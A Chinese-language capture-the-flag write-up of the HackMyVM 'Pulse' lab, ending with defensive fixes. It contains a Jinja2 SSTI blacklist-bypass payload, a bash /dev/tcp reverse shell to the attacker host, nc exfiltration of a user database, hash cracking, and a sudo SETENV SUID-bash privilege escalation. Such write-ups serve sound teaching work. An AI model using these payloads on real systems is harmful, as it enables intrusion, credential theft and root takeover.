跳到主要内容

HackMyVM Pulse 靶机通关记录|.git 源码泄露、Jinja2 SSTI 到 RCE 与 sudo SETENV 提权

靶机链接:Pulse


0x01 基本信息

名称IP说明
Kali Linux192.168.1.109攻击机
Pulse192.168.1.115Ubuntu 26.04.1 LTS(Linux 7.0.0-31-generic)

靶机包含两枚 Flag:用户 Flag(位于 /home/alex/user.txt)与 Root Flag(位于 /root/root.txt)。


攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp OpenSSH 10.2p1、53/tcp 处于 closed、80/tcp nginx 1.28.3确定 Web 为唯一业务入口,SSH 为后续登录通道
Web 侦察robots.txt 暴露 /dev//internal/,响应头 X-Notice 点名 pulse.hmv / monitor.pulse.hmv获得虚拟主机线索与隐藏目录
信息泄露/dev/ 内部公告板明确提示 .git 目录暴露、诊断端点 Token 已提交至仓库、数据库同步工具位于 /opt/pulse/直接给出三条攻击路径
源码泄露monitor.pulse.hmv/.git/ 返回 200,git-dumper 拉取到 3 次提交的完整源码拿到 DIAGNOSTIC_TOKEN 与 SSTI 注入点
SSTI 验证/diagnostics 提交 {{7*7}} 回显 49确认服务端模板被当作代码执行
黑名单绕过{{ cycler.__init__.__globals__[('o'~'s')][('po'~'pen')]('id').read() }}绕过关键字过滤,获得 www-data 命令执行
反弹 Shellbase64 编码的 bash -i >& /dev/tcp/192.168.1.109/4444 0>&1,penelope 自动 PTY获得可交互的稳定 Shell
凭据收割/opt/pulse/data/users.db 属组 www-data 可读,nc 回传后 john 破解得到 alex : starlight
横向登录ssh alex@192.168.1.115sudo -l 显示 SETENV: NOPASSWD: /usr/local/bin/pulse-audit读取 User Flag,并锁定提权原语
Root 提权sudo PULSE_CONFIG=/var/tmp/audit_evil.json pulse-auditpre_audit_cmd 以 root 在 /var/tmp 写入 SUID Bash/var/tmp/rootbash -p 获得 euid=0(root) Shell 并读取双 Flag

0x02 侦察与信息收集

1. 主机发现与端口扫描

使用 RustScan 联动 Nmap 对全端口与常见服务进行探测:

rustscan -a 192.168.1.115 --ulimit 5000 -b 500 -- -sC -sV -oN rustscan_nmap_initial.txt

扫描结果:

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 10.2p1 Ubuntu 2ubuntu3.6 (Ubuntu Linux; protocol 2.0)
53/tcp closed domain reset ttl 64
80/tcp open http syn-ack ttl 64 nginx 1.28.3 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.28.3 (Ubuntu)
|_http-title: Pulse Systems | Distributed Telemetry & Infrastructure Observa...
| http-robots.txt: 2 disallowed entries
|_/dev/ /internal/
MAC Address: 0C:DD:24:76:71:18 (Intel Corporate)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
关于 53 端口

Nmap 报告 53/tcp closed,说明靶机并未运行 DNS 服务,虚拟主机解析需要手动写入 /etc/hosts

2. 响应头与 robots.txt 线索

访问主站首页查看响应头:

curl -s -i http://192.168.1.115/ | head -30

关键响应头:

HTTP/1.1 200 OK
Server: nginx/1.28.3 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Content-Length: 8124
Last-Modified: Thu, 10 Sep 2026 10:11:22 GMT
X-Notice: Virtual host resolution required. Try: pulse.hmv or monitor.pulse.hmv

X-Notice 直接泄露了两个虚拟主机名。继续读取 robots.txt

curl -s http://192.168.1.115/robots.txt
User-agent: *
Disallow: /dev/
Disallow: /internal/

# Pulse Infrastructure Portal
# Notice: Internal monitoring and diagnostic tools moved to: http://monitor.pulse.hmv

3. /dev/ 内部公告板

robots.txt 中的 /dev/ 可匿名访问,页面是一份 Sprint 42 的内部公告:

curl -s http://192.168.1.115/dev/

公告核心内容:

Pulse Systems - Internal DevOps Bulletin (Sprint 42)
Author: Alex Morgan (alex@pulse.hmv)

- The real-time node monitoring portal has been published to http://monitor.pulse.hmv.
- CRITICAL SECURITY REMINDER: ... Never leave raw .git repository folders exposed on public web roots.
- The diagnostic alerting endpoint /diagnostics now requires authorization.
The access token was committed to the repository for staging tests.
- Database user synchronization utility will run nightly from /opt/pulse/.
公告板即攻击路线图

这份公告一次性给出了后续全部攻击要素:暴露的 .git/diagnostics 的 Token 在仓库中、数据库位于 /opt/pulse/。在真实环境中,这类“内部提醒”页面本身就是高价值的情报泄露点。

4. 配置虚拟主机解析

将公告中提到的域名写入 /etc/hosts

echo "192.168.1.115 pulse.hmv monitor.pulse.hmv pulse.lan" | sudo tee -a /etc/hosts

0x03 .git 源码泄露与凭据提取

1. 确认 .git 目录暴露

公告板明确提示 .git 未清理,直接对 monitor.pulse.hmv 逐路径验证:

for path in .git/ .git/HEAD .git/config; do
code=$(curl -s -o /dev/null -w "%{http_code}" -H "Host: monitor.pulse.hmv" "http://192.168.1.115/$path")
echo "monitor.pulse.hmv /$path -> $code"
done
monitor.pulse.hmv /.git/ -> 200
monitor.pulse.hmv /.git/HEAD -> 200
monitor.pulse.hmv /.git/config -> 200

2. git-dumper 拉取完整源码

git-dumper http://monitor.pulse.hmv/.git/ ./monitor-git
[-] Fetching http://monitor.pulse.hmv/.git/objects/...
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 4 paths from the index

查看提交历史与文件结构:

git -C monitor-git log --oneline --all
ls -la monitor-git/
483e1a3 security: enforce X-Pulse-Auth header authentication on /diagnostics endpoint
65fdb69 feat: add notification template rendering sandbox for alert testing
21c9346 feat: initial commit for Pulse cluster telemetry monitor

app.py config.py templates/

3. 源码审计

config.py 泄露了 Flask 密钥与数据库路径:

# Pulse Monitoring Configuration
DEBUG = False
SECRET_KEY = "c798e1f02a45b891d2ef64098bc19a32"

# Central user database location
DATABASE_PATH = "/opt/pulse/data/users.db"

# Lead Infrastructure Engineer
MAINTAINER = "alex@pulse.hmv"

app.py 则同时泄露了诊断 Token 与一处模板注入点:

DIAGNOSTIC_TOKEN = "pU1s3_d14gn0st1cs_k3y_98234"

@app.route('/diagnostics', methods=['GET', 'POST'])
def diagnostics():
...
token = request.headers.get('X-Pulse-Auth') or request.form.get('token') or request.args.get('token')
if token != DIAGNOSTIC_TOKEN:
return jsonify({...}), 403

template = request.form.get('template') or request.args.get('template') or "System Health: All metrics within threshold."

# Filter dangerous keywords in templates
blacklist = ['os', 'popen', 'system', 'subprocess', 'eval', 'exec', 'commands', '__import__']
for keyword in blacklist:
if keyword in template.lower():
return jsonify({...}), 400

try:
rendered = render_template_string(template)
return jsonify({"status": "success", "output": rendered})
两个关键缺陷
  1. render_template_string(template) 直接把用户输入当作 Jinja2 模板源码编译,是典型的 SSTI(服务端模板注入);
  2. 黑名单只是朴素子串匹配,且校验发生在模板渲染之前——只要模板里不出现 ospopen 这些字面量即可绕过。

0x04 Jinja2 SSTI 到 RCE

1. 验证诊断 Token 与模板求值

/diagnostics 未携带 Token 时返回 403:

curl -s -X POST -H "Host: monitor.pulse.hmv" -F "template={{7*7}}" http://192.168.1.115/diagnostics
# {"message":"Access Denied: Missing or invalid diagnostic authentication token.","status":"error"}

带上 .git 中泄露的 DIAGNOSTIC_TOKEN 后,算术表达式被正常求值:

curl -s -X POST -H "Host: monitor.pulse.hmv" \
-H "X-Pulse-Auth: pU1s3_d14gn0st1cs_k3y_98234" \
-F "template={{7*7}}" http://192.168.1.115/diagnostics
# {"output":"49","status":"success"}

curl -s -X POST -H "Host: monitor.pulse.hmv" \
-H "X-Pulse-Auth: pU1s3_d14gn0st1cs_k3y_98234" \
-F "template={{7*'7'}}" http://192.168.1.115/diagnostics
# {"output":"7777777","status":"success"}

{{7*7}} 回显 49{{7*'7'}} 回显 7777777,确认存在 Jinja2 SSTI。

2. 黑名单绕过

先验证黑名单确实生效:

curl -s -X POST -H "Host: monitor.pulse.hmv" \
-H "X-Pulse-Auth: pU1s3_d14gn0st1cs_k3y_98234" \
-F 'template={{os.popen("id").read()}}' http://192.168.1.115/diagnostics
# {"message":"Security restriction: Keyword 'os' is blocked by template sanitizer.","status":"error"}

由于过滤是子串匹配,使用 Jinja 的字符串拼接运算符 ~ 把关键字拆开即可绕过——模板源码中不再出现 os / popen 字面量,但渲染时仍会拼出完整属性名:

PAYLOAD="{{ cycler.__init__.__globals__[('o'~'s')][('po'~'pen')]('id').read() }}"
curl -s -X POST -H "Host: monitor.pulse.hmv" \
-H "X-Pulse-Auth: pU1s3_d14gn0st1cs_k3y_98234" \
--data-urlencode "template=$PAYLOAD" http://192.168.1.115/diagnostics
{"output":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","status":"success"}
为什么 'o'~'s' 能绕过

cycler 是 Jinja2 内置全局对象,其 __init__.__globals__ 就是模板运行时的 Python 全局命名空间,因此可以直接取到 os 模块。黑名单在原始字符串上做 keyword in template.lower() 判断,而 ('o'~'s') 只是两个普通字符串常量,拼接发生在渲染阶段,检查时自然看不到 os

3. 反弹 Shell(penelope 自动 PTY)

为方便后续交互,把命令 base64 编码后再交给 bash 执行,既避免引号转义问题,也不会在模板中出现敏感关键字。Payload 文件 payload_rev.txt

{{ cycler.__init__.__globals__[('o'~'s')][('po'~'pen')]('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA5LzQ0NDQgMD4mMQ== | base64 -d | bash').read() }}

其中 base64 解码后为:

bash -i >& /dev/tcp/192.168.1.109/4444 0>&1

在 Kali 上使用 penelope 开启监听(自动升级 PTY),随后投递 payload:

tmux new-session -d -s pen 'penelope -p 4444'

curl -s -m 8 -X POST -H "Host: monitor.pulse.hmv" \
-H "X-Pulse-Auth: pU1s3_d14gn0st1cs_k3y_98234" \
--data-urlencode "template@payload_rev.txt" http://192.168.1.115/diagnostics

penelope 捕获会话并自动部署 Agent、升级为 PTY:

[+] [New Reverse Shell] => pulse 192.168.1.115 Linux-x86_64 www-data(33) Session ID <1>
[+] Agent deployed via /usr/bin/python3
[+] Interacting with session [1] • PTY

0x05 数据库泄露与凭据破解

1. 系统信息与数据库定位

id; hostname; uname -a
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pulse
Linux pulse 7.0.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Aug 1 04:26:38 UTC 2026 x86_64 GNU/Linux

公告板提示数据库同步工具位于 /opt/pulse/,检查权限:

ls -la /home/
ls -la /opt/pulse/data/
drwxr-x--- 3 alex alex 4096 Sep 10 10:12 alex
drwxr-x--- 3 ubuntu ubuntu 4096 Sep 10 10:14 ubuntu

-rw-r--r-- 1 root www-data 20480 Sep 10 10:11 users.db

users.db 属主为 root,但属组是 www-data 且组权限可读,当前 Shell 可以直接读取。

2. 回传数据库

在 Kali 上开启接收端:

tmux new-session -d -s xfer 'nc -lvnp 5555 > users.db'

在靶机 Shell 中把数据库推送回来:

nc 192.168.1.109 5555 < /opt/pulse/data/users.db
备选方案:纯 HTTP 通道回传

如果目标环境不允许反向连接,也可以通过 SSTI 通道执行 base64 -w0 /opt/pulse/data/users.db,再把 base64 文本解码还原为二进制文件(附件脚本 ssti_cmd.py -b 已实现该流程)。

3. 查询数据库

sqlite3 users.db ".schema users"
sqlite3 users.db "select * from users;"
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
email TEXT NOT NULL,
role TEXT NOT NULL,
password_hash TEXT NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

1|admin|admin@pulse.hmv|Platform Director|$6$pulse$9QxK2vM3b1P4zY8nL0eW7tD5rA2sC6fG1hJ3kL5mN7pQ9rT1vW3xY5z0b2d4f6h8|2026-09-10 10:10:46
2|alex|alex@pulse.hmv|Lead Infrastructure Engineer|$6$pulse$A0zjfe.Tf.0/0cJ6usQ/5FQMcTJJ5uADzhShund6hYEke.QqiWn7U5vAYbjc2exfZXGmHrrJTukBURkCqrjOk1|2026-09-10 10:10:46
3|operator|operator@pulse.hmv|Tier-1 NOC Specialist|$6$pulse$H5kL9mP2qR4tV6wX8zA1cE3gI5kM7oQ9sU1wY3b5d7f9h1j3l5n7p9r1t3v5|2026-09-10 10:10:46

三个账号的密码均为 $6$ 前缀的 SHA512-Crypt 哈希,导出后交给 John the Ripper:

sqlite3 users.db "select username||char(58)||password_hash from users;" > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show hashes.txt
alex:starlight

1 password hash cracked, 0 left

openssl passwd 本地验证口令与 alex 的哈希完全一致:

openssl passwd -6 -salt pulse starlight
$6$pulse$A0zjfe.Tf.0/0cJ6usQ/5FQMcTJJ5uADzhShund6hYEke.QqiWn7U5vAYbjc2exfZXGmHrrJTukBURkCqrjOk1

4. SSH 登录与 User Flag

sshpass -p 'starlight' ssh alex@192.168.1.115 'id; sudo -l; cat ~/user.txt'
uid=1001(alex) gid=1001(alex) groups=1001(alex)
User alex may run the following commands on pulse:
(ALL : ALL) SETENV: NOPASSWD: /usr/local/bin/pulse-audit
HMV{9b3f41c7e2a84d60b5e9f1a23c8e715d}

sudo -l 显示 alex 可以**无密码且允许设置环境变量(SETENV)**地以 root 身份运行 pulse-audit,这就是提权入口。


0x06 sudo SETENV + PULSE_CONFIG 提权

1. 分析 pulse-audit

ls -la /usr/local/bin/pulse-audit
file /usr/local/bin/pulse-audit
cat /usr/local/bin/pulse-audit
-rwxr-xr-x 1 root root 2136 Sep 10 10:11 /usr/local/bin/pulse-audit
/usr/local/bin/pulse-audit: Python script, ASCII text executable

核心逻辑(以 root 运行):

def main():
print(BANNER)
config_path = os.environ.get("PULSE_CONFIG", "/etc/pulse/audit_rules.json")
print(f"[*] Loading audit profile from: {config_path}")
...
with open(config_path, "r") as f:
cfg = json.load(f)

policy = cfg.get("policy_name", "Standard-Baseline-Audit")
print(f"[+] Active Audit Policy: {policy}")

# Execute optional pre-audit initialization routine
if "pre_audit_cmd" in cfg and cfg["pre_audit_cmd"]:
print(f"[*] Executing pre-audit routine: {cfg['pre_audit_cmd']}")
try:
subprocess.run(cfg["pre_audit_cmd"], shell=True)

两个缺陷组合即可获得 root 命令执行:

  1. sudo 规则授予了 SETENV,允许调用者任意覆写环境变量,从而把 PULSE_CONFIG 指向自己可控的 JSON 文件;
  2. 脚本以 root 身份读取该配置,并把 pre_audit_cmd 交给 subprocess.run(..., shell=True) 执行。

2. 构造 SUID Bash(避开 nosuid 的 /tmp)

落地目录的选择很关键:/tmp 是挂载了 nosuid 的 tmpfs,SUID 位会被内核忽略;而 /var/tmp 位于 ext4 根文件系统,SUID 正常生效。先确认挂载参数:

mount | grep -E " /tmp | /dev/shm | / "
/dev/sda2 on / type ext4 (rw,relatime)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,inode64,usrquota)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,size=841164k,nr_inodes=1048576,inode64,usrquota)

构造恶意配置,让 pre_audit_cmd 以 root 身份把 /bin/bash 复制到 /var/tmp 并加上 SUID 位:

cat > /var/tmp/audit_evil.json <<'EOF'
{"policy_name":"pwn","pre_audit_cmd":"cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash; echo done","monitored_services":["nginx"]}
EOF

sudo PULSE_CONFIG=/var/tmp/audit_evil.json /usr/local/bin/pulse-audit
======================================================
Pulse Infrastructure Automated Security Auditor
Version 1.8.2-enterprise
======================================================

[*] Loading audit profile from: /var/tmp/audit_evil.json
[+] Active Audit Policy: pwn
[*] Executing pre-audit routine: cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash; echo done
done
[*] Verifying critical service health...
- Service nginx : ACTIVE (OK)

[+] Audit scan completed successfully at 2026-09-23 07:40:59

确认 SUID 位已生效:

ls -la /var/tmp/rootbash
-rwsr-xr-x 1 root root 1540520 Sep 23 07:40 /var/tmp/rootbash

3. SUID Bash 获取 root Shell 与双 Flag

/var/tmp/rootbash -p -c "id; echo ---; cat /home/alex/user.txt; cat /root/root.txt"
uid=1001(alex) gid=1001(alex) euid=0(root) groups=1001(alex)
---
HMV{9b3f41c7e2a84d60b5e9f1a23c8e715d}
HMV{4d2c88f7b301e5a96c147289d038fa42}
为什么必须加 -p

当进程的 uideuid 不一致时,Bash 启动会自动降权回 uid-p 参数保留特权模式,才能以 euid=0(root) 执行命令。直接运行 /var/tmp/rootbash -p 即可获得交互式 root Shell。


0x07 最终成果

User Flag

  • 路径: /home/alex/user.txt
  • 内容: HMV{9b3f41c7e2a84d60b5e9f1a23c8e715d}

Root Flag

  • 路径: /root/root.txt
  • 内容: HMV{4d2c88f7b301e5a96c147289d038fa42}

凭据与阶段成果汇总

项目 / 阶段凭据或结果说明
诊断 TokenpU1s3_d14gn0st1cs_k3y_98234monitor.pulse.hmv 暴露的 .gitapp.py 硬编码
Flask SECRET_KEYc798e1f02a45b891d2ef64098bc19a32config.py 泄露,可伪造会话 Cookie
SSTI RCErender_template_string(template)黑名单被 'o'~'s' / 'po'~'pen' 绕过,获得 www-data 命令执行
反弹 Shellpenelope 自动 PTYbash -i >& /dev/tcp/192.168.1.109/4444 0>&1
数据库/opt/pulse/data/users.db属组 www-data 可读,含 3 个账号的 SHA512-Crypt 哈希
alex 凭据alex / starlightrockyou 字典破解并 openssl passwd 复核
User Flag/home/alex/user.txtSSH 登录后直接读取
提权原语sudo SETENV NOPASSWD: /usr/local/bin/pulse-auditPULSE_CONFIG 可控 + root shell=True 执行任意 pre_audit_cmd
Root Shell/var/tmp/rootbash -peuid=0(root)通过 pre_audit_cmd 以 root 创建 SUID Bash
Root Flag/root/root.txtroot Shell 中读取

0x08 复盘与防御建议

1. 攻击链关键节点

环节缺陷本质修复方向
信息泄露/dev/ 公告板向未认证用户暴露内部工具地址与安全提醒内部公告必须鉴权或下线,禁止在 Web 根目录存放运维笔记
源码泄露生产站点保留 .git 目录且 nginx 未屏蔽部署时清理 .git,并在 Nginx 中 location ~ /\.git { deny all; }
凭据硬编码DIAGNOSTIC_TOKENSECRET_KEY 直接写在源码中密钥交由 Secret Manager / 环境变量注入,定期轮换;泄露后立即吊销
SSTIrender_template_string() 把用户输入当模板源码用户输入只能作为模板变量传入;必要时使用 SandboxedEnvironment
黑名单过滤朴素子串匹配可被字符串拼接绕过黑名单不能作为安全边界,应改为白名单语法或模板 AST 校验
权限过宽users.db 属组 www-data,Web 进程可读数据库文件权限最小化(640 root:root),Web 进程使用独立低权限账号
弱口令alex 使用字典口令 starlight强制口令复杂度与定期更换,改用 bcrypt/argon2 加盐存储
提权配置NOPASSWD 命令同时授予 SETENV,且脚本读取用户可控配置并 shell=True不要在 NOPASSWD 规则中授予 SETENV;固定配置文件路径与属主;禁止对配置内容执行 shell=True

2. 关键教训

  • “内部提醒”页面往往是最好的侦察报告/dev/ 公告板把 .git 泄露、Token 位置、数据库目录一次讲清。看到 robots.txt 里的 Disallow 条目,应当第一时间逐个访问。
  • .git 泄露的杀伤力取决于仓库内容:这次仓库里同时存在硬编码 Token 与一处 SSTI,等于把“钥匙”和“门”一起交了出来。拿到源码后应优先全局搜索 TOKENSECRETPASSWORDrender_template_string 等关键字。
  • 黑名单不是安全边界keyword in template.lower() 只能拦截“照抄关键字”的脚本小子,Jinja 的 ~ 拼接、属性访问链(__globals__)等特性可以轻松绕过。模板沙箱必须从语法层面限制。
  • 提权前先看挂载参数:SUID 位在 nosuid 挂载点(如 /tmp/dev/shm)会被内核忽略,但换到位于根文件系统的 /var/tmp 就重新生效——一条 mount 命令就能决定 SUID 提权是否可行。
  • SETENV 是 sudo 规则中的高危授权:它允许调用者控制被授权命令的环境,一旦命令本身读取环境变量(如本例的 PULSE_CONFIG),就等价于把配置文件路径的控制权交给攻击者。

0x09 附件脚本

文件说明
ssti_cmd.py封装 /diagnostics 的 SSTI 命令执行,内置 Token、黑名单绕过与 base64 回传
pulse_privesc.sh利用 sudo SETENV + PULSE_CONFIG 以 root 执行任意命令并自动清理配置

脚本说明:

  • ssti_cmd.py:通过 X-Pulse-Auth 携带泄露的 DIAGNOSTIC_TOKEN,用 ('o'~'s') / ('po'~'pen') 绕过黑名单,并将待执行命令 base64 编码后交给目标 bash-b 参数用于解码目标 base64 -w0 的输出,可无损回传 users.db 等二进制文件。
  • pulse_privesc.sh:在靶机上以 alex 身份运行,使用 mktemp 生成恶意 JSON 配置,通过 python3 安全构造 pre_audit_cmd 字段,再以 sudo PULSE_CONFIG=... pulse-audit 执行目标命令,命令输出直接回显,结束后自动删除配置。